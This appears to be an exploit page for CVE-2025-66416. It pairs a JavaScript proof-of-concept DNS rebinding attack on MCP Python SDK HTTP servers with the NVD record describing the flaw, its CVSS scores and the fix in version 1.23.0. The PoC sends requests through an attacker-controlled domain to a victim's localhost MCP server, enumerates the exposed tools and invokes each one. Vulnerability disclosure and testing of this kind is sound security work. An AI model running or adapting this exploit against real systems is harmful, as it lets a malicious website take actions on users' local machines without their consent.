CVE-2025-66416

// CVE-2025-66416 DNS Rebinding Attack PoC // Target: MCP Python SDK < 1.23.0 with HTTP transport const TARGET_HOST = 'localhost'; const TARGET_PORT = 6277; const ATTACKER_DOMAIN = 'attacker-controlled-domain.com'; // Step 1: Initial DNS resolution to attacker server async function exploitDNSRebinding() { // This would be handled by the attacker's DNS server with short TTL console.log('[*] Initiating DNS rebinding attack against MCP server'); // Step 2: After DNS switches to 127.0.0.1, send MCP request const mcpRequest = { jsonrpc: '2.0', id: 1, method: 'tools/list', params: {} }; try { // Step 3: Bypass Same-Origin Policy via DNS rebinding const response = await fetch(`http://${ATTACKER_DOMAIN}:${TARGET_PORT}/mcp`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(mcpRequest), credentials: 'include' }); const result = await response.json(); console.log('[+] Tools exposed:', JSON.stringify(result, null, 2)); // Step 4: Invoke sensitive tool (if available) if (result.result && result.result.tools) { for (const tool of result.result.tools) { console.log(`[*] Available tool: ${tool.name}`); // Attempt to call the tool await invokeTool(tool.name); } } } catch (error) { console.error('[-] Attack failed:', error.message); } } async function invokeTool(toolName) { const invokeRequest = { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: toolName, arguments: {} } }; await fetch(`http://${ATTACKER_DOMAIN}:${TARGET_PORT}/mcp`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(invokeRequest) }); } exploitDNSRebinding();

{"cve": {"id": "CVE-2025-66416", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:52.520", "lastModified": "2026-03-10T19:40:36.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MCP Python SDK, called `mcp` on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to version 1.23.0, tThe Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using FastMCP with streamable HTTP or SSE transport, and has not configured TransportSecuritySettings, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport. This vulnerability is fixed in 1.23.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mcp_python_sdk:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.23.0", "matchCriteriaId": "BAEEDB0F-6542-4842-A1EB-F2A82C8D6A02"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/python-sdk/commit/d3a184119e4479ea6a63590bc41f01dc06e3fa99", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-9h52-p55h-vw2f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}